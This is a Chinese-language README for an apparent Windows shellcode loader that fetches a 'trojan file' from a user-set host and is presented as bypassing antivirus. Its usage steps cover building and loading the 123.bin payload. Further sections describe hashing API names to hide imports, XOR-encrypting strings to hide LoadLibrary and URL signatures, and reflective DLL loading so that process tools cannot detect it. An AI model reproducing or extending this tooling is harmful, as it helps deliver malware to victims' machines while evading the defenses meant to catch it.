[PIC_Bindshell](https://github.com/mattifestation/PIC_Bindshell) + +windows api hashing部分直接搬过来的 + +## (ReflectiveDLLInjection)[https://github.com/stephenfewer/ReflectiveDLLInjection] + +准备抄袭 + +## [开(犯)发(罪)过程](https://9bie.org/index.php/archives/750/) + +# 效果图 + +![bypassAV](Image/bypassAV.jpg) + +# How to use + +## 开箱即用 + +修改`ShellCode.cpp->StartSCode`函数中的host和path改为您的域名和木马文件即可,之后使用`Release`模式运行,即会在目录下生成`123.bin`文件,之后使用`EXE_RUN_MT`模式编译运行即可加载`123.bin`文件 + +或是自行调用`123.bin`文件 + +## 添加API + +使用目录下的`Get-FunctionsHash.ps1`脚本添加API HASH到hash.h + +![计算HASH](img/hash.png) + +之后在`API.H`中添加相关WINAPI 函数指针,作为搜索地址后调用的方式,之后在`API.H->FUNCTIONS`结构体中添加相关成员 + +之后在`Tool.h->RmExecute::Initfunctions`函数中调用 + +```c +char szUser32[] = { 'u', 's', 'e', 'r', '3', '2', '.', 'd', 'l', 'l', 0 }; +pfn->fnLoadLibraryA(szUser32); +pfn->fnMessageBoxA = (pfnMessageBoxA)GetProcAddressWithHash(HASH_MessageBoxA); +``` +搜索函数来加载WINAPI。 + +之后就可以使用 +`fn.fnMessageBox(0, "text", "text", MB_OK);`这样形式来调用winapi了。 + + +## 字符串相关 + +参考第一个引用的文章链接,字符串必须要使用`{'a','b','\0'};`这样子的立即数形式 + +# 进阶 (很快) + +## 使用XOR加密字符串 + +隐藏loadlibrary特征和url特征,更不容易被发现 + +## X64支持 + +自行调试`Tool.h->RunPortableExecutable`函数,大概就是加个X64宏把EAX什么换成RAX(应该 + +## 反射DLL加载技术 + +完全不使用LoadLibrary,ProcessExplorer、procexp64等工具无法检测到这个dll,同时让程序变得模块化 + +## 纯shellcode加载 + +太奢侈了我就是想想 +